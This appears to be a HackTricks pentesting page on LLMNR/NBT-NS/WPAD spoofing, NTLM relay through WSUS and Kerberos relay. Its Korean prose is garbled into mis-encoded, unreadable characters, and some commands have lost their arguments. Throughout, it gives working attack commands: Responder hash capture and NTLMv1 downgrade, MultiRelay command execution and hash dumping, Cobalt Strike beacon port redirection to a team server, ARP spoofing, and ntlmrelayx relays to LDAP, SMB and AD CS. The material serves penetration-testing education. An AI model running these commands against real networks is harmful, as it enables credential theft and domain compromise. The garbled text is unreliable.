Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋คํธ์ํฌ ํ๋กํ ์ฝ
๋ก์ปฌ ํธ์คํธ ์ด๋ฆ ํด์ ํ๋กํ ์ฝ
- LLMNR, NBT-NS, and mDNS:
- Microsoft ๋ฐ ๊ธฐํ ์ด์์ฒด์ ๋ DNS๊ฐ ์คํจํ ๋ ๋ก์ปฌ ์ด๋ฆ ํด์์ ์ํด LLMNR ๋ฐ NBT-NS๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก Apple ๋ฐ Linux ์์คํ ์ mDNS๋ฅผ ์ฌ์ฉํฉ๋๋ค.
- ์ด๋ฌํ ํ๋กํ ์ฝ์ ์ธ์ฆ์ด ์๊ณ UDP๋ฅผ ํตํ ๋ธ๋ก๋์บ์คํธ ํน์ฑ ๋๋ฌธ์ ๊ฐ๋ก์ฑ๊ธฐ์ ์คํธํ์ ์ทจ์ฝํฉ๋๋ค.
- Responder์ Dementor๋ ์ด๋ฌํ ํ๋กํ ์ฝ์ ์ฟผ๋ฆฌํ๋ ํธ์คํธ์ ์์กฐ ์๋ต์ ๋ณด๋ด ์๋น์ค๋ก ๊ฐ์ฅํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- Responder๋ฅผ ์ฌ์ฉํ ์๋น์ค ๊ฐ์ฅํ์ ๋ํ ์ถ๊ฐ ์ ๋ณด๋ here์์ ํ์ธํ ์ ์์ต๋๋ค.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD๋ ๋ธ๋ผ์ฐ์ ๊ฐ ํ๋ก์ ์ค์ ์ ์๋์ผ๋ก ๊ฒ์ํ๋๋ก ํฉ๋๋ค.
- ๊ฒ์์ DHCP, DNS๋ฅผ ํตํด ์ด๋ฃจ์ด์ง๋ฉฐ, DNS๊ฐ ์คํจํ๋ฉด LLMNR ๋ฐ NBT-NS๋ก ํด๋ฐฑํฉ๋๋ค.
- Responder๋ WPAD ๊ณต๊ฒฉ์ ์๋ํํ์ฌ ํด๋ผ์ด์ธํธ๋ฅผ ์ ์ฑ WPAD ์๋ฒ๋ก ์ ๋ํ ์ ์์ต๋๋ค.
Responder/Dementor๋ฅผ ์ด์ฉํ ํ๋กํ ์ฝ ์ค๋
-
Responder๋ LLMNR, NBT-NS, mDNS ์ฟผ๋ฆฌ๋ฅผ ์ค๋ (poisoning)์ํค๊ธฐ ์ํด ์ฌ์ฉ๋๋ ๋๊ตฌ๋ก, ์ฟผ๋ฆฌ ์ ํ์ ๋ฐ๋ผ ์ ํ์ ์ผ๋ก ์๋ตํ๋ฉฐ ์ฃผ๋ก SMB ์๋น์ค๋ฅผ ํ๊น์ผ๋ก ํฉ๋๋ค.
-
Kali Linux์ ๊ธฐ๋ณธ์ผ๋ก ์ค์น๋์ด ์์ผ๋ฉฐ
/etc/responder/Responder.conf์์ ๊ตฌ์ฑํ ์ ์์ต๋๋ค. -
Responder๋ ์บก์ฒํ ํด์๋ฅผ ํ๋ฉด์ ํ์ํ๊ณ
/usr/share/responder/logs๋๋ ํ ๋ฆฌ์ ์ ์ฅํฉ๋๋ค. -
IPv4์ IPv6๋ฅผ ๋ชจ๋ ์ง์ํฉ๋๋ค.
-
Windows์ฉ Responder ๋ฒ์ ์ here์์ ํ์ธํ ์ ์์ต๋๋ค.
-
Dementor๋ ๋ฉํฐ์บ์คํธ ์ค๋ (multicast poisoning) ์ฃผ์ ๋ฅผ ํ์ฅํ๋ฉฐ ์ ์ฑ ์๋น์ค ์ ๊ณต์(์: CUPS RCE ์ง์) ์ญํ ๋ ํฉ๋๋ค.
-
์ ์ฒด ๊ตฌ์กฐ๋ Responder์ ์ ์ฌํ์ง๋ง ๋ ์ธ๋ถํ๋ ๊ตฌ์ฑ ์ต์ ์ ์ ๊ณตํฉ๋๋ค. (๊ธฐ๋ณธ์ ์ฌ๊ธฐ: Dementor.toml)
-
Dementor์ Responder์ ํธํ์ฑ์ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค: Compatibility Matrix
-
์๊ฐ ๋ฐ ๋ฌธ์๋ ์ฌ๊ธฐ: Dementor - Docs
-
ํน์ ํ๋กํ ์ฝ์์ Responder๊ฐ ๋์ ํ ์บก์ฒ ๋ฌธ์ ๋ฅผ ์์ ํฉ๋๋ค.
Responder ์คํ
- ๊ธฐ๋ณธ ์ค์ ์ผ๋ก Responder๋ฅผ ์คํํ๋ ค๋ฉด:
responder -I <Interface> - ๋ ์ ๊ทน์ ์ธ ํ์นจ(๋ถ์์ฉ ๊ฐ๋ฅ)์ ์ํ ๊ฒฝ์ฐ:
responder -I <Interface> -P -r -v - ๋ ์ฌ์ด ํฌ๋ํน์ ์ํด NTLMv1 ์ฑ๋ฆฐ์ง/์๋ต์ ์บก์ฒํ๋ ๊ธฐ๋ฒ:
responder -I <Interface> --lm --disable-ess - WPAD ๊ฐ์ฅํ๋ฅผ ํ์ฑํํ๋ ค๋ฉด:
responder -I <Interface> --wpad - NetBIOS ์์ฒญ์ ๊ณต๊ฒฉ์์ IP๋ก ํด๊ฒฐํ๊ณ ์ธ์ฆ ํ๋ก์๋ฅผ ์ค์ ํ๋ ค๋ฉด:
responder.py -I <interface> -Pv
Dementor ์คํ
- ๊ธฐ๋ณธ ์ค์ ์ผ๋ก ์คํ:
Dementor -I <interface> - ๋ถ์ ๋ชจ๋์ ๊ธฐ๋ณธ ์ค์ ์ผ๋ก ์คํ:
Dementor -I <interface> -A - ์๋ NTLM ์ธ์
๋ค์ด๊ทธ๋ ์ด๋ (ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - ์ฌ์ฉ์ ์ง์ ๊ตฌ์ฑ์ผ๋ก ํ์ฌ ์ธ์
์คํ:
Dementor -I <interface> --config <file.toml>
Responder๋ฅผ ์ด์ฉํ DHCP ์ค๋
- DHCP ์๋ต์ ์์กฐํ๋ฉด ํผํด์์ ๋ผ์ฐํ ์ ๋ณด๋ฅผ ์๊ตฌ์ ์ผ๋ก ์ค๋ ์์ผ ARP ์ค๋ ๋ณด๋ค ๋ ์๋ฐํ ๋์์ด ๋ ์ ์์ต๋๋ค.
- ์ด๋ฅผ ์ํด์๋ ๋์ ๋คํธ์ํฌ ๊ตฌ์ฑ์ ๋ํ ์ ํํ ์ง์์ด ํ์ํฉ๋๋ค.
- ๊ณต๊ฒฉ ์คํ ์:
./Responder.py -I eth0 -Pdv - ์ด ๋ฐฉ๋ฒ์ NTLMv1/2 ํด์๋ฅผ ํจ๊ณผ์ ์ผ๋ก ์บก์ฒํ ์ ์์ง๋ง ๋คํธ์ํฌ ์ค๋จ์ ํผํ๊ธฐ ์ํด ์ ์คํ ์ฒ๋ฆฌ๊ฐ ํ์ํฉ๋๋ค.
Responder/Dementor๋ก ์๊ฒฉ์ฆ๋ช ์บก์ฒ
- Responder/Dementor๋ ์์์ ์ธ๊ธํ ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์๋น์ค๋ฅผ ๊ฐ์ฅํ๊ณ , ์ฌ์ฉ์๊ฐ ์คํธํ๋ ์๋น์ค์ ์ธ์ฆ์ ์๋ํ ๋ ์๊ฒฉ์ฆ๋ช (๋ณดํต NTLMv2 Challenge/Response)์ ์บก์ฒํฉ๋๋ค.
- NetNTLMv1๋ก ๋ค์ด๊ทธ๋ ์ด๋ํ๊ฑฐ๋ ESS๋ฅผ ๋นํ์ฑํํ์ฌ ํฌ๋ํน์ ์ฝ๊ฒ ํ ์ ์๋๋ก ์๋ํ ์ ์์ต๋๋ค.
If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.
์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ์ ๋ฒํ๊ณ ์ค๋ฆฌ์ ์ธ ์ ์ฐจ๋ฅผ ์ค์ํ๋ฉฐ ์ ์ ํ ๊ถํ์ ํ๋ณดํ๊ณ ์์คํ ์ค๋จ์ด๋ ๋ฌด๋จ ์ ๊ทผ์ ํผํด์ผ ํ๋ค๋ ์ ์ ๋ช ์ฌํด์ผ ํฉ๋๋ค.
Inveigh
Inveigh๋ Windows ์์คํ ์ ๋์์ผ๋ก ํ๋ penetration testers and red teamers๋ฅผ ์ํ ๋๊ตฌ๋ก, Responder์ ์ ์ฌํ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ฉฐ ์คํธํ ๋ฐ MITM ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค. ์ด ๋๊ตฌ๋ PowerShell ์คํฌ๋ฆฝํธ์์ C# ๋ฐ์ด๋๋ฆฌ๋ก ๋ฐ์ ํ์ผ๋ฉฐ, ์ฃผ์ ๋ฒ์ ์ผ๋ก๋ Inveigh์ InveighZero๊ฐ ์์ต๋๋ค. ์์ธํ ๋งค๊ฐ๋ณ์์ ์ฌ์ฉ๋ฒ์ wiki์์ ํ์ธํ ์ ์์ต๋๋ค.
Inveigh๋ PowerShell์ ํตํด ์ด์ํ ์ ์์ต๋๋ค:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
๋๋ C# ๋ฐ์ด๋๋ฆฌ๋ก ์คํ:
Inveigh.exe
NTLM Relay Attack
์ด ๊ณต๊ฒฉ์ SMB ์ธ์ฆ ์ธ์ ์ ํ์ฉํ์ฌ ๋์ ๋จธ์ ์ ์ ๊ทผํ๋ฉฐ, ์ฑ๊ณต ์ system shell์ ํ๋ํฉ๋๋ค. ์ฃผ์ ์ ์ ์กฐ๊ฑด์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์ธ์ฆํ๋ ์ฌ์ฉ์๋ ๋ฆด๋ ์ด๋ ํธ์คํธ(relayed host)์ ๋ํ Local Admin ์ ๊ทผ ๊ถํ์ ๊ฐ์ง๊ณ ์์ด์ผ ํฉ๋๋ค.
- SMB signing์ ๋นํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค.
445 Port Forwarding and Tunneling
์ง์ ์ ์ธ ๋คํธ์ํฌ ๋์ ์ด ๋ถ๊ฐ๋ฅํ ์ํฉ์์๋ ํฌํธ 445์ ํธ๋ํฝ์ ํฌ์๋ฉํ๊ณ ํฐ๋๋งํด์ผ ํฉ๋๋ค. PortBender์ ๊ฐ์ ๋๊ตฌ๋ ํฌํธ 445 ํธ๋ํฝ์ ๋ค๋ฅธ ํฌํธ๋ก ๋ฆฌ๋๋ ์ ํ๋ ๋ฐ ๋์์ด ๋๋ฉฐ, ์ด๋ ๋๋ผ์ด๋ฒ ๋ก๋๋ฅผ ์ํด Local Admin ์ ๊ทผ ๊ถํ์ด ์์ ๋ ํ์์ ์ ๋๋ค.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Other Tools for NTLM Relay Attack
- Metasploit: ํ๋ก์์ ๋ก์ปฌ/์๊ฒฉ ํธ์คํธ ์ ๋ณด๋ฅผ ์ค์ ํด ์ฌ์ฉ.
- smbrelayx: SMB ์ธ์ ์ ์ค๊ณํ๊ณ ๋ช ๋ น ์คํ ๋๋ ๋ฐฑ๋์ด ๋ฐฐํฌ๋ฅผ ์ํํ๋ Python ์คํฌ๋ฆฝํธ.
- MultiRelay: Responder ์ค์ํธ์ ๋๊ตฌ๋ก, ํน์ ์ฌ์ฉ์ ๋๋ ๋ชจ๋ ์ฌ์ฉ์๋ฅผ ์ค๊ณํ๊ณ ๋ช ๋ น ์คํ์ด๋ ํด์ ๋คํ๊ฐ ๊ฐ๋ฅ.
๊ฐ ๋๊ตฌ๋ ํ์ ์ SOCKS proxy๋ฅผ ํตํด ๋์ํ๋๋ก ๊ตฌ์ฑํ ์ ์์ด, ๊ฐ์ ์ ์ธ ๋คํธ์ํฌ ์ ๊ทผ๋ง์ผ๋ก๋ ๊ณต๊ฒฉ์ ์ํํ ์ ์๋ค.
MultiRelay Operation
MultiRelay๋ /usr/share/responder/tools ๋๋ ํ ๋ฆฌ์์ ์คํ๋๋ฉฐ, ํน์ IP๋ ์ฌ์ฉ์๋ฅผ ๋์์ผ๋ก ํ๋ค.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
RelayKing โ ๋ฆด๋ ์ด ๊ฐ๋ฅํ ํ๊น ํ์ง ๋ฐ ์ ๋ณ๋ ๋ฆด๋ ์ด ๋ชฉ๋ก
RelayKing์ NTLM relay ๋
ธ์ถ ๊ฐ์ฌ ๋๊ตฌ๋ก, ๋ฆด๋ ์ด๊ฐ ๊ฐ๋ฅํ ์์น๋ฅผ ๋งคํํ๊ณ ntlmrelayx.py -tf์์ ๋ฐ๋ก ์ฌ์ฉํ ์ ์๋ ๋์ ๋ชฉ๋ก์ ์์ฑํฉ๋๋ค. SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth ๋ฑ์ ํ๋กํ ์ฝ ๊ฒฝํ ์ํ๋ฅผ ๊ฒ์ฌํ๊ณ PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection ๊ฐ์ coercion/reflection helpers๋ฅผ ํ์ํฉ๋๋ค.
- ์ธ์ฆ์ HTTPS/LDAPS CBT ๋ฐ MSSQL EPA ๊ฒ์ฌ์์ ์ ๋ขฐ๋๋ฅผ ๋์ ๋๋ค; SMB signing/signature ์์ค์ ๋น์ธ์ฆ ์ํ์์ ํ์ง๋ฉ๋๋ค.
- ๊ต์ฐจ ํ๋กํ ์ฝ ๋ฆด๋ ์ด ๊ฒฝ๋กํ๋ ํ์ธ๋ Net-NTLMv1 (
--ntlmv1/--ntlmv1-all) ๊ฒฐ๊ณผ๋ฅผ ํ์ฉํ๋ฉฐ, ๊ฒฝ๋ก๋ณ ์ฌ๊ฐ๋ ์์๊ฐ ์ ๊ณต๋ฉ๋๋ค. --gen-relay-list <file>์ntlmrelayx.py -tf <file>์ฉ์ผ๋ก grep ์นํ์ ์ธ ๋์ ๋ชฉ๋ก์ ์์ฑํ์ฌ ์ํ์ฐฉ์ค๋ฅผ ์ค์ ๋๋ค.--coerce-all์ ๋ชจ๋ ๋์์ ๋ํด PetitPotam/DFSCoerce/PrinterBug๋ฅผ ๋๋์ผ๋ก ์ ๋ฐํฉ๋๋ค;--ntlmv1-all(RemoteRegistry) ๋ฐ--audit(๋๋ฉ์ธ ์ ์ฒด LDAP ํธ์คํธ ์กฐํ)์ noisyํ๋ฉฐ ๋ง์ ๋ก๊ทธ์จ/์๊ฒฉ ์ ๊ทผ์ ์์ฑํฉ๋๋ค.--proto-portscan์ ๋ซํ ํฌํธ๋ฅผ ๊ฑด๋๋ฐ์ด ์ค์บ ์๋๋ฅผ ๋์ ๋๋ค;--krb-dc-only๋ DC๊ฐ NTLM์ ์ฐจ๋จํ์ง๋ง ๋ค๋ฅธ ์๋น์ค๋ ์ฌ์ ํ ์๋ฝํ๋ ๊ฒฝ์ฐ์ ์ ์ฉํฉ๋๋ค.
Example sweeps:
# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt
# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24
์ด ๋๊ตฌ๋ค๊ณผ ๊ธฐ๋ฒ๋ค์ ๋ค์ํ ๋คํธ์ํฌ ํ๊ฒฝ์์ NTLM Relay ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ํ ํฌ๊ด์ ์ธ ์ธํธ๋ฅผ ์ ๊ณตํฉ๋๋ค.
WSUS HTTP (8530) ์ ์ฉํ์ฌ NTLM Relay๋ก LDAP/SMB/AD CS (ESC8) ๋์
WSUS ํด๋ผ์ด์ธํธ๋ NTLM์ ํตํด HTTP(8530) ๋๋ HTTPS(8531)๋ก ์ ๋ฐ์ดํธ ์๋ฒ์ ์ธ์ฆํฉ๋๋ค. HTTP๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด ๋ก์ปฌ ์ธ๊ทธ๋จผํธ์์ ์ฃผ๊ธฐ์ ์ธ ํด๋ผ์ด์ธํธ ์ฒดํฌ์ธ์ด ๊ฐ์ ๋๊ฑฐ๋ ๊ฐ๋ก์ฑ์ ธ ntlmrelayx๋ก LDAP/LDAPS/SMB ๋๋ AD CS HTTP ์๋ํฌ์ธํธ(ESC8)๋ก ๋ฆด๋ ์ด๋ ์ ์์ผ๋ฉฐ ํด์๋ฅผ ํฌ๋ํ ํ์๊ฐ ์์ต๋๋ค. ์ด๋ ์ ์์ ์ธ ์ ๋ฐ์ดํธ ํธ๋ํฝ์ ์์ฌ ๋ค์ด๊ฐ ์ข ์ข ๋จธ์ ๊ณ์ ์ธ์ฆ(HOST$)์ ์ป์ต๋๋ค.
ํ์ธํ ํญ๋ชฉ
- HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ๋ฐ โฆ\WindowsUpdate\AU ์๋์ GPO/๋ ์ง์คํธ๋ฆฌ ์ค์ :
- WUServer (์: http://wsus.domain.local:8530)
- WUStatusServer (๋ณด๊ณ URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled ๋ฐ DetectionFrequency (์๊ฐ ๋จ์)
- ํด๋ผ์ด์ธํธ๊ฐ HTTP๋ก ์ฌ์ฉํ๋ WSUS SOAP endpoints:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- ๊ธฐ๋ณธ ํฌํธ: 8530/tcp HTTP, 8531/tcp HTTPS
์ ์ฐฐ
- Unauthenticated
- ๋ฆฌ์ค๋ ์ค์บ: nmap -sSVC -Pn โopen -p 8530,8531 -iL
- L2 MITM๋ฅผ ํตํด HTTP WSUS ํธ๋ํฝ์ ์ค๋ํํ๊ณ wsusniff.py๋ก ํ์ฑ ํด๋ผ์ด์ธํธ/์๋ํฌ์ธํธ๋ฅผ ๊ธฐ๋ก(ํด๋ผ์ด์ธํธ๊ฐ TLS cert์ ์ ๋ขฐํ๊ฒ ํ ์ ์๋ ํ HTTP๋ง ํด๋น).
- Authenticated
- MANSPIDER + regpol๋ก SYSVOL GPO์์ WSUS ํค ํ์ฑ (wsuspider.sh ๋ํผ๊ฐ WUServer/WUStatusServer/UseWUServer๋ฅผ ์์ฝ).
- ํธ์คํธ(๋๊ท๋ชจ) ๋๋ ๋ก์ปฌ์์ ์๋ํฌ์ธํธ ์ง์:
nxc smb
-u -p -M reg-query -o PATH=โHKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdateโ KEY=โWUServerโ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay ๋จ๊ณ
-
ํด๋ผ์ด์ธํธ๊ฐ WSUS ์๋ฒ๋ฅผ ์ฌ๋ฌ๋ถ์ผ๋ก ํด์ํ๋๋ก MITM ์์น ํ๋ณด(๊ฐ์ L2) (ARP/DNS poisoning, Bettercap, mitm6 ๋ฑ). arpspoof ์: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
ํฌํธ 8530์ ๋ฆด๋ ์ด ๋ฆฌ์ค๋๋ก ๋ฆฌ๋๋ ์ (์ ํ์ฌํญ, ํธ์): iptables -t nat -A PREROUTING -p tcp โdport 8530 -j REDIRECT โto-ports 8530 iptables -t nat -L PREROUTING โline-numbers
-
HTTP ๋ฆฌ์ค๋๋ก ntlmrelayx ์์(HTTP ๋ฆฌ์ค๋๋ฅผ ์ํ Impacket ์ง์ ํ์; ์๋ PR ์ฐธ์กฐ): ntlmrelayx.py -t ldap://
-smb2support -socks โkeep-relaying โhttp-port 8530
๊ธฐํ ์ผ๋ฐ ๋์:
- exec/dump๋ฅผ ์ํด SMB๋ก ๋ฆด๋ ์ด(๋ง์ฝ signing์ด ๊บผ์ ธ ์๋ค๋ฉด): -t smb://
- ๋๋ ํฐ๋ฆฌ ๋ณ๊ฒฝ์ ์ํด LDAPS๋ก ๋ฆด๋ ์ด(์: RBCD): -t ldaps://
- AD CS ์น ๋ฑ๋ก(ESC8)๋ก ๋ฆด๋ ์ดํ์ฌ ์ธ์ฆ์๋ฅผ ๋ฐ๊ธ๋ฐ๊ณ ์ดํ Schannel/PKINIT๋ก ์ธ์ฆ:
ntlmrelayx.py โhttp-port 8530 -t http://
/certsrv/certfnsh.asp โadcs โno-http-server AD CS ๋จ์ฉ ๊ฒฝ๋ก์ ๋๊ตฌ์ ๋ํด์๋ AD CS ํ์ด์ง ์ฐธ์กฐ:
-
ํด๋ผ์ด์ธํธ ์ฒดํฌ์ธ์ ํธ๋ฆฌ๊ฑฐํ๊ฑฐ๋ ์ค์ผ์ค์ ๊ธฐ๋ค๋ฆฝ๋๋ค. ํด๋ผ์ด์ธํธ์์: wuauclt.exe /detectnow ๋๋ Windows Update UI์์ (Check for updates) ์ฌ์ฉ.
-
์ธ์ฆ๋ SOCKS ์ธ์ (๋ง์ฝ -socks ์ฌ์ฉ) ๋๋ ์ง์ ๋ฆด๋ ์ด ๊ฒฐ๊ณผ๋ฅผ ํฌ์คํธ ์ต์คํ๋ก์์ ์ฌ์ฉ(LDAP ๋ณ๊ฒฝ, SMB ์์ , ๋๋ ์ดํ ์ธ์ฆ์ ์ํ AD CS ์ธ์ฆ์ ๋ฐ๊ธ).
HTTPS ์ ์ฝ(8531)
- ํด๋ผ์ด์ธํธ๊ฐ ์ฌ๋ฌ๋ถ์ ์ธ์ฆ์๋ฅผ ์ ๋ขฐํ์ง ์๋ ํ HTTPS๋ก ๋ WSUS์ ์๋ ๊ฐ๋ก์ฑ๊ธฐ๋ ํจ๊ณผ์ ์ด์ง ์์ต๋๋ค. ์ ๋ขฐ๋ cert์ด๋ ๋ค๋ฅธ TLS ๋ถํด ์๋จ ์์ด๋ WSUS HTTPS ํธ๋ํฝ์์ NTLM ํธ๋์ ฐ์ดํฌ๋ฅผ ์์ง/๋ฆด๋ ์ดํ ์ ์์ต๋๋ค.
๋ ธํธ
- WSUS๋ deprecated๋ก ๋ฐํ๋์์ง๋ง ์ฌ์ ํ ๋๋ฆฌ ๋ฐฐํฌ๋์ด ์์ผ๋ฉฐ ๋ง์ ํ๊ฒฝ์์ HTTP(8530)๊ฐ ํํฉ๋๋ค.
- ์ ์ฉํ ๋๊ตฌ: wsusniff.py (HTTP WSUS ์ฒดํฌ์ธ์ ๊ด์ฐฐ), wsuspider.sh (GPO์์ WUServer/WUStatusServer ์ด๊ฑฐ), ๋๊ท๋ชจ NetExec reg-query.
- Impacket์ PR #2034์์ ntlmrelayx์ ๋ํ HTTP ๋ฆฌ์ค๋ ์ง์์ ๋ณต๊ตฌํจ(์๋ PR #913์์ ์ถ๊ฐ๋จ).
NTLM ๋ก๊ทธ์ธ ๊ฐ์
Windows์์๋ ์ผ๋ถ ๊ถํ ์๋ ๊ณ์ ์ ์์์ ๋จธ์ ์ ์ธ์ฆํ๋๋ก ๊ฐ์ ํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ๋ฐฉ๋ฒ์ ์์๋ณด๋ ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ผ์ธ์:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack์ ํ ์๋น์ค์์ AP-REQ ticket์ ํ์ณ ๋์ผํ computer-account key๋ฅผ ๊ณต์ ํ๋(๋ SPN์ด ๋์ผํ $ ๋จธ์ ๊ณ์ ์ ์๊ธฐ ๋๋ฌธ์) ๋ ๋ฒ์งธ ์๋น์ค์ ์ฌ์ฌ์ฉํฉ๋๋ค. ์ด๋ SPN์ service class๊ฐ ๋ค๋ฅด๋๋ผ๋(e.g. CIFS/ โ LDAP/) ๋์ํ๋๋ฐ, ํฐ์ผ์ ๋ณตํธํํ๋ ํค๊ฐ SPN ๋ฌธ์์ด ์์ฒด๊ฐ ์๋ ๋จธ์ ์ NT hash์ด๊ธฐ ๋๋ฌธ์ด๋ฉฐ SPN ๋ฌธ์์ด์ ์๋ช
์ ์ผ๋ถ๊ฐ ์๋๋๋ค.
NTLM relay์ ๋ฌ๋ฆฌ ํ์ ๊ฐ์ ํธ์คํธ๋ก ์ ํ๋์ง๋ง, LDAP์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ํ๋กํ ์ฝ์ ๋ชฉํ๋ก ํ๋ฉด Resource-Based Constrained Delegation (RBCD) ๋๋ AD CS enrollment๋ก ์ด์ด์ ธ ๋จ๋ฒ์ NT AUTHORITY\SYSTEM์ ํ๋ํ ์ ์์ต๋๋ค.
์ด ๊ณต๊ฒฉ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Purpose | Relay relevance |
|---|---|---|
| TGT / AS-REQ โ REP | ์ฌ์ฉ์๋ฅผ KDC์ ์ฆ๋ช | ๋ณ๊ฒฝ ์์ |
| Service ticket / TGS-REQ โ REP | ํ๋์ SPN์ ๋ฐ์ธ๋ฉ; SPN ์์ ์์ ํค๋ก ์ํธํ | ๋์ผ ๊ณ์ ์ ๊ณต์ ํ๋ฉด ๊ต์ฒด ๊ฐ๋ฅ |
| AP-REQ | ํด๋ผ์ด์ธํธ๊ฐ ์๋น์ค์ TGS๋ฅผ ์ ์ก | ์ฐ๋ฆฌ๊ฐ ํ์ณ์ ์ฌ์ํ๋ ๊ฒ |
- ํฐ์ผ์ SPN์ ์์ ํ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ์ ๋ ํค๋ก ์ํธํ๋ฉ๋๋ค.
- AP-REQ ๋ด๋ถ์ Authenticator๋ 5๋ถ ํ์์คํฌํ๋ฅผ ๊ฐ์ง๋ฉฐ, ํด๋น ์ฐฝ ๋ด์์ ์ฌ์ํ๋ฉด ์๋น์ค ์บ์๊ฐ ์ค๋ณต์ ๊ฐ์งํ ๋๊น์ง ์ ํจํฉ๋๋ค.
- Windows๋ ํฐ์ผ์ SPN ๋ฌธ์์ด์ด ์ฌ๋ฌ๋ถ์ด ์ ๊ทผํ ์๋น์ค์ ์ผ์นํ๋์ง ๊ฑฐ์ ๊ฒ์ฌํ์ง ์์ผ๋ฏ๋ก, ์ผ๋ฐ์ ์ผ๋ก
CIFS/HOST์ฉ ํฐ์ผ์ดLDAP/HOST์์ ์ ์์ ์ผ๋ก ๋ณตํธํ๋ฉ๋๋ค.
-
- Kerberos๋ฅผ ๋ฆด๋ ์ดํ๋ ค๋ฉด ๋ฌด์์ด ์ฐธ์ด์ด์ผ ํ๋๊ฐ
- ๊ณต์ ํค: ์ถ๋ฐ์ง์ ๋์ SPN์ด ๋์ผํ ์ปดํจํฐ ๊ณ์ ์ ์ํด์ผ ํจ(Windows ์๋ฒ์ ๊ธฐ๋ณธ ์ค์ ).
- ์ฑ๋ ๋ณดํธ ์์: SMB/LDAP signing ๊บผ์ง ๋ฐ HTTP/LDAPS์ ๋ํ EPA ๊บผ์ง.
- ์ธ์ฆ์ ๊ฐ๋ก์ฑ๊ฑฐ๋ ๊ฐ์ ํ ์ ์์ด์ผ ํจ: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM ๋ฑ.
